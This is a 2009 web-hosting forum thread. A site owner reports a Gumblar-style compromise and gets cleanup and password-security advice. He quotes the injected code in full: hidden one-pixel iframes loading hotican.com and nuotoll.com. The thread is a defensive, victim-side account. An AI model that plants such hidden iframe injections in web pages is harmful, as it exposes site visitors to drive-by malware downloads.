Web Hosting Forum | Lunarpages


*
Welcome, Guest. Please login or register.
Did you miss your activation email?



Login with username, password and session length
March 19, 2010, 08:14:03 AM

Pages: [1]   Go Down
  Print  
Author Topic: Site hacked by "hotican"?  (Read 551 times)
mschrier
Newbie
*
Offline Offline

Posts: 5


« on: May 24, 2009, 05:12:30 AM »

I discovered that my "index.htm" has been hacked.  The following line was inserted, obfuscated in a javascript "eval" statement:

<iframe src="http://hotican.com/" width="1" height="2">

Does anyone know the means that this was done.  I often see my site's pages being accessed in malicious ways, so I am assuming at least one of them worked to accomplish the injection.

This page was last modified on May 20 (last week), but I have an older copy that contained a different version of the hack.  I can't find any malicious access of any of my pages around the file modification time (from the raw access log), so I can't see what the mechanism was.

Does anyone know about this hack?  Anything I can do to protect my site (I already perform validation on parameters passed to my PHP pages, but maybe there's a weakness)?

Thanks
- Matt
http://shadesofgreenphoto.com
Logged
mschrier
Newbie
*
Offline Offline

Posts: 5


« Reply #1 on: May 24, 2009, 05:18:38 AM »

Update: The latest hack contained the following:

<iframe src="http://nuotoll.com/" width="1" height="3">

- Matt
http://shadesofgreenphoto.com
Logged
Mitch
Senior Moderator
Berserker Poster
*****
Online Online

Posts: 12718


Business Development Specialist at Lunarpages


WWW
« Reply #2 on: May 25, 2009, 06:01:51 AM »

I would suggest you take some of the steps mentioned here:

http://www.lunarforums.com/lunarpages_web_hosting_email_pc_security/gumblar_exploit_what_is_it_and_what_should_you_do-t52551.0.html

I don't think the two situations are related (at least I haven't found anything that would say that) however, the advice is general enough to help you out too.  You'll also want to search through your web site and remove any of the offending code that you find.  Last, but not least, be sure to change your passwords too. 

You might also check out this wiki page on the topic:

http://wiki.lunarpages.com/Web_Site_Security_Breaches

Hope that helps!
Logged

New Lunarpages Contest! - Win a Free Web Site Design! Enter Today!


Mitch the Moderator - follow me @lunarpages on Twitter!
Important Threads: Read This Before Posting! | Lunarforums Rules! | Mitch's Link of the Day!
Also, be sure to check out and subscribe to the Lunartics Blog and the Lunarpages Newsletter !

Need Web Hosting Help? Check out the Lunarpages Web Hosting Wiki. It has tons of tips, tutorials and resources!
mschrier
Newbie
*
Offline Offline

Posts: 5


« Reply #3 on: May 26, 2009, 10:04:37 AM »

Well I'm fairly certain that my main PC is/was infected with malware (a keylogger?) that stole my ftp password.  Because after I changed the password and logged in again my index.* files were altered a short time later.  It was not until I changed the password from another computer did the modifications stop.  And my FTP log shows the access as well.  IP addresses change frequently, so blocking them is nearly pointless.

I'm attempting to clean my PC, but how can I know if I've really gotten rid of this malware?

I'd like to perform a test.  From a "safe" PC create a dummy FTP account that can only access a certain folder and assign any password.  Also drop in a dummy index.htm file. Then login from the infected PC using this account, and see if the hacks take place.

The question is, can I create this FTP account with very limited scope - i.e. in no way can access the main part of my account files - just a sub-directory?

- Matt
Logged
Mitch
Senior Moderator
Berserker Poster
*****
Online Online

Posts: 12718


Business Development Specialist at Lunarpages


WWW
« Reply #4 on: May 26, 2009, 10:08:44 AM »

Quote
Well I'm fairly certain that my main PC is/was infected with malware (a keylogger?) that stole my ftp password.

Yeah, that sounds like Gumblar, or some variation of it. 

After you have cleaned things out once (if using a Windows-based PC) might try logging in via safe mode and running one of the online anti-virus programs to see if it can find any more variants of the infected files. 
Logged

New Lunarpages Contest! - Win a Free Web Site Design! Enter Today!


Mitch the Moderator - follow me @lunarpages on Twitter!
Important Threads: Read This Before Posting! | Lunarforums Rules! | Mitch's Link of the Day!
Also, be sure to check out and subscribe to the Lunartics Blog and the Lunarpages Newsletter !

Need Web Hosting Help? Check out the Lunarpages Web Hosting Wiki. It has tons of tips, tutorials and resources!
mschrier
Newbie
*
Offline Offline

Posts: 5


« Reply #5 on: May 26, 2009, 04:52:24 PM »

More info:  I've been using the FTP client FileZilla.  I discovered that this program stores the account names and passwords of sites you access in a plan-text file on the hard-drive.  As much as I like this program I have to stop using it to remove that gaping security hole.  Time for another FTP client.

Also I discovered a task in my scheduled task list (viewed in Control Panel), even after I scanned my machine many times with AVG and the likes.  So of course I deleted that task as well.

Once Mitch let me know it was the Gumblar virus/malware it was easier to find solutions posted by others on the net.

- Matt
http://shadesofgreenphoto.com
Logged
QuestaKid
Spacescooter Operator
*****
Offline Offline

Posts: 39


« Reply #6 on: May 26, 2009, 08:11:18 PM »

Victims of Gumblar and similar drive-by-download exploits have had their FTP credentials stolen by harvesting them from data-stores used by applications like FileZilla and Dreamweaver.

FileZilla stores the information you enter into the Site Manager and if you use the Normal Logintype and enter a username and password, those are stored in an XML file in plain-text.  A safer practice with FileZilla is to choose Interactive for the Logontype.  That way, you will be prompted for them when you connect.  Then use Edit | Clear private data... when you end your session to clear out the quickconnect history and reconnect information.

Don’t like having to remember logon credentials?  Why not use a respectable, dedicated password manager.  One popular free/open-source password manager is KeePass.  Take advantage of it’s random password generator.  This will generate some very ugly passwords you’ll never remember, but you can use its copy/paste or the auto-type feature to make entering your credentials easy.  Use its Password Profiles to tailor the generated password to match the schemes used by the different websites you frequent.  Save the profile and use it next time you change your password.  Use the password expiration feature to remind you to change your password.  If you try it and like it you can make a donation to the project.

You can carry your KeePass environment with you on a secure USB stick like IronKey or SafeStick so you’ll always have it with you.

Since we’re talking about password theft, here are some other things to keep in mind:

Don’t use your browser’s ability to “remember” logon credentials.  Why would you rely on the browser’s password security mechanism when we know browsers are heavily targeted and continually found to have security holes? 

Don’t sign into your sensitive accounts from untrusted computers like “convenient” kiosks.  If you’re on travel and you MUST have access to your accounts, try a product like IronKey and look into their optional Secure Sessions Service.

Don’t access accounts you want to keep secure without using some type of encryption channel such as SSL or TLS, not even from your own computer; this goes for FTP accounts as well.

Remember, security and convenient access are often competing goals; you have to weigh one against the other and decide which is more important to you.

QK
Logged

-Direction is initially more important than speed ~ Neal A. Maxwell
-One can acquire certainty only by amputating inquiry ~ Marvin Minsky
Mitch
Senior Moderator
Berserker Poster
*****
Online Online

Posts: 12718


Business Development Specialist at Lunarpages


WWW
« Reply #7 on: May 27, 2009, 06:36:39 AM »

Very good information QuestaKid, thanks for sharing!
Logged

New Lunarpages Contest! - Win a Free Web Site Design! Enter Today!


Mitch the Moderator - follow me @lunarpages on Twitter!
Important Threads: Read This Before Posting! | Lunarforums Rules! | Mitch's Link of the Day!
Also, be sure to check out and subscribe to the Lunartics Blog and the Lunarpages Newsletter !

Need Web Hosting Help? Check out the Lunarpages Web Hosting Wiki. It has tons of tips, tutorials and resources!
Pages: [1]   Go Up
  Print  
 
Jump to: